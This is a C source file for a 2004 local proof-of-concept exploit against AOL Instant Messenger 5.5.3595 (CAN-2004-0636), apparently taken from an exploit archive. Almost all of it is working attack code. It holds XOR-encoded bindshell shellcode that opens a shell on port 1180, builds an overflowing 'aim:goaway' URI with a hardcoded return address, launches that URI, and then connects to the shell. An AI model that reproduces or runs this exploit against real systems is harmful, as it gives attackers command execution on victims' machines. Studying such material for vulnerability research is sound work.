/*

subject:    local PoC exploit for AIM 5.5.3595

vendor:     http://www.aim.com
cve:          http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0636
credits:      Matt Murphy
date:        10 August 2004

notes:      exploits localy if an argument is supplied, otherwise prints the url.
            offsets are based on exe/dll provided in the package, so it should be NT universal. 
            shellcode makes a bindshell on port 1180.

greets:     roSec - Romanian Security Research - www rosec info

author:     mandragore

*/


#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32.lib")

#define GPA 0x004040a4
#define LLA 0x00404088

#define fatal(x) { perror(x); exit(1); }

unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char *uri="aim:goaway?message=";

unsigned char smalljmp[]={ 0xeb, 0x08 };

void client2serv(unsigned int s) {
  char buff[4096];

  for (;;) {
    fgets(buff,4096,stdin);
    send(s,buff,strlen(buff),0);
  }
}

void sh() {
  int ret;
  long s;
  WSADATA wsa;
  struct sockaddr_in sin;
  char buff[4096];
  fd_set fds;
  long host=0x0100007f;

  WSAStartup(0x202,&wsa);

  sin.sin_family=2;
  sin.sin_port=htons(1180);
  sin.sin_addr = *(struct in_addr *)&host;

  s=socket(2,1,6);
  if ( ret=connect(s,(struct sockaddr *)&sin,16) != 0) {
    fatal("[-] damn.. it looks like it failed\n");
  } else
    printf("[+] connected.\n\n");

  CreateThread(0,0,(void *)client2serv,(long *)s,0,0);

  for (;;) {
    FD_ZERO(&fds);
    FD_SET(s,&fds);

        if (select(s+1, &fds, NULL, NULL, NULL) < 0)
      fatal("[-] shell.select()");

    if (FD_ISSET(s,&fds)) {
      if ( (ret = recv(s,buff,4096,0)) < 1 )
        fatal("[-] shell.recv()");
      memset(buff+ret,0,1);
      printf("%s",buff);
    }
  }

}

void fixsh() {
  int gpa=GPA^0xdededede, lla=LLA^0xdededede;
  memcpy(bsh+0x1a,&gpa,4);
  memcpy(bsh+0x2b,&lla,4);
}

int main(int argc, char **argv) {
  char *t;
  int retaddr=0x10015599; // call ebx from rtvideo.dll, should be stable

  fixsh();

  t=GlobalAlloc(0x40,2000);
  memset(t,0x41,1500);
  strncpy(t,uri,strlen(uri));
  memcpy(t+1037-4,&smalljmp,2);
  memcpy(t+1037,&retaddr,4);
  memcpy(t+1037+4+4,&bsh,sizeof(bsh));

  if (argc==1) {
    printf("%s\n",t);
    return 0;
  }

  printf("[+] sending request..\n");

  ShellExecute(0,"open",t,0,0,SW_SHOW);

  printf("[%%] let's sleep 5secs..\n");
  
  Sleep(5000);

  sh();

  return 0;
}